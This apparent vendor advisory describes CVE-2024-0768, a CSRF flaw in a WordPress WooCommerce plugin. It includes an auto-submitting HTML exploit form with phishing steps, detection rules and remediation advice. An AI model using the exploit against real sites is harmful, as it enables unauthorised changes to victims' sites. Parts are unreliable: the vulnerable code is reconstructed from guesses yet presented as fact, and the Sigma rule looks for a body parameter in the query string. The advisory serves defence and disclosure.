CVE-2024-0768
Executive Summary
CVE-2024-0768 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Envo's Elementor Templates & Widgets for WooCommerce WordPress plugin, versions up to and including 1.4.4. The vulnerability resides in the ajax_theme_activation function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that, when triggered by a logged-in site administrator (e.g., via a malicious link), can activate arbitrary installed themes on the WordPress site. The CVSS v3.1 base score is 4.3 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated due to the lack of a confirmed patch. This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is a classic CSRF issue within a WordPress plugin. The plugin extends WooCommerce with Elementor templates and widgets. The ajax_theme_activation function is intended to allow administrators to activate themes via AJAX, but the missing nonce check means any forged request can be processed. An attacker can craft a link that, when clicked by an admin, activates a malicious or vulnerable theme, potentially leading to further compromise.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need authentication.
- User Interaction (UI): Required (R) – The victim (admin) must click a link or perform an action.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): Low (L) – The attacker can activate a theme, altering the site’s appearance or functionality.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. While the direct impact is limited to theme activation, this can be a stepping stone for privilege escalation or persistent backdoor installation if the activated theme contains malicious code.
Deep Dive & Mechanics
The vulnerability is in the ajax_theme_activation function within the plugin’s AJAX handler. WordPress AJAX actions typically require a nonce to verify the request’s origin. In this plugin, the function does not call check_ajax_referer() or wp_verify_nonce(), allowing any request to be processed. The function likely uses switch_theme() to activate a theme passed via a POST parameter.
Attack Flow:
- Attacker identifies a target WordPress site running the vulnerable plugin.
- Attacker crafts a malicious link or HTML form that sends a POST request to
wp-admin/admin-ajax.phpwithaction=ajax_theme_activationand athemeparameter (e.g.,theme=malicious-theme). - Attacker tricks a logged-in administrator into clicking the link (e.g., via phishing email or social engineering).
- The admin’s browser sends the forged request, and the plugin activates the specified theme without nonce validation.
- The activated theme could be a previously installed vulnerable theme or a theme uploaded by the attacker (if they have upload access).
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.4.4):
add_action('wp_ajax_ajax_theme_activation', 'ajax_theme_activation');
function ajax_theme_activation() {
// No nonce check
$theme = $_POST['theme'];
switch_theme($theme);
wp_die();
}
Patched Code (Hypothetical):
add_action('wp_ajax_ajax_theme_activation', 'ajax_theme_activation');
function ajax_theme_activation() {
// Added nonce verification
check_ajax_referer('theme_activation_nonce', 'nonce');
if (!current_user_can('switch_themes')) {
wp_die('Unauthorized');
}
$theme = sanitize_text_field($_POST['theme']);
switch_theme($theme);
wp_die();
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with the vulnerable plugin installed and activated.
- A logged-in administrator session (simulated via browser).
- A theme installed on the target (e.g., a default WordPress theme like
twentytwentyfour).
Exploit Steps:
- Craft a malicious HTML page that auto-submits a form:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
<input type="hidden" name="action" value="ajax_theme_activation">
<input type="hidden" name="theme" value="twentytwentyfour">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
- Host the HTML file on an attacker-controlled server.
- Send a phishing email to the admin with a link to the hosted HTML file.
- When the admin clicks the link, the form auto-submits, activating the specified theme.
Expected Outcome: The site’s theme changes to the one specified in the theme parameter.
Blue Team (Defense & Detection)
Detection Steps:
- Monitor
wp-admin/admin-ajax.phprequests for theajax_theme_activationaction without a valid nonce. - Look for sudden theme changes in WordPress logs or via monitoring tools.
- Use Web Application Firewall (WAF) rules to block requests to
admin-ajax.phpwith suspicious parameters from untrusted referrers.
Honeypot: Deploy a fake admin user with low privileges and monitor for CSRF attempts.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=ajax_theme_activationand athemeparameter. - Referrer headers from external domains (phishing pages).
- POST requests to
- File IOCs:
- Unexpected theme activation logs in
/wp-content/debug.log(if enabled). - Presence of a new theme in
/wp-content/themes/that was not installed by an admin.
- Unexpected theme activation logs in
- Behavioral IOCs:
- Sudden change in site appearance or functionality.
- Admin user performing actions without corresponding nonce validation.
Detection Engineering
YARA Rule
rule CVE_2024_0768_CSRF_Theme_Activation {
meta:
description = "Detects CSRF exploitation attempts for CVE-2024-0768 in WordPress"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0768"
strings:
$ajax_action = "ajax_theme_activation"
$theme_param = "theme="
$admin_ajax = "admin-ajax.php"
condition:
all of them
}
Sigma Rule
title: CVE-2024-0768 WordPress CSRF Theme Activation
id: 8a3f7c2e-5d1b-4a9f-8c6e-3b2a1d0f9e7c
status: experimental
description: Detects POST requests to admin-ajax.php with ajax_theme_activation action
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains:
- "admin-ajax.php"
- "action=ajax_theme_activation"
condition: selection
falsepositives:
- Legitimate admin actions (if nonce is present, but this rule does not check nonce)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-0768 WordPress CSRF Theme Activation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=ajax_theme_activation"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not essential, or restrict access to
admin-ajax.phpvia.htaccessor WAF rules. - Update the plugin to a patched version if available (check vendor’s site for updates).
- Implement CSRF tokens manually by adding a nonce check to the vulnerable function (if you have code access).
Long-term Mitigations:
- Enforce strong nonce validation for all AJAX actions in WordPress plugins.
- Use a Web Application Firewall (WAF) to block requests to
admin-ajax.phpwithout a valid referrer. - Educate administrators about phishing attacks and the risks of clicking unknown links.
- Regularly audit installed themes and plugins for vulnerabilities.
Patch Status: UNKNOWN – No official patch has been confirmed. Users should monitor the Envato marketplace for updates.
Valters IT
Securing Digital Frontiers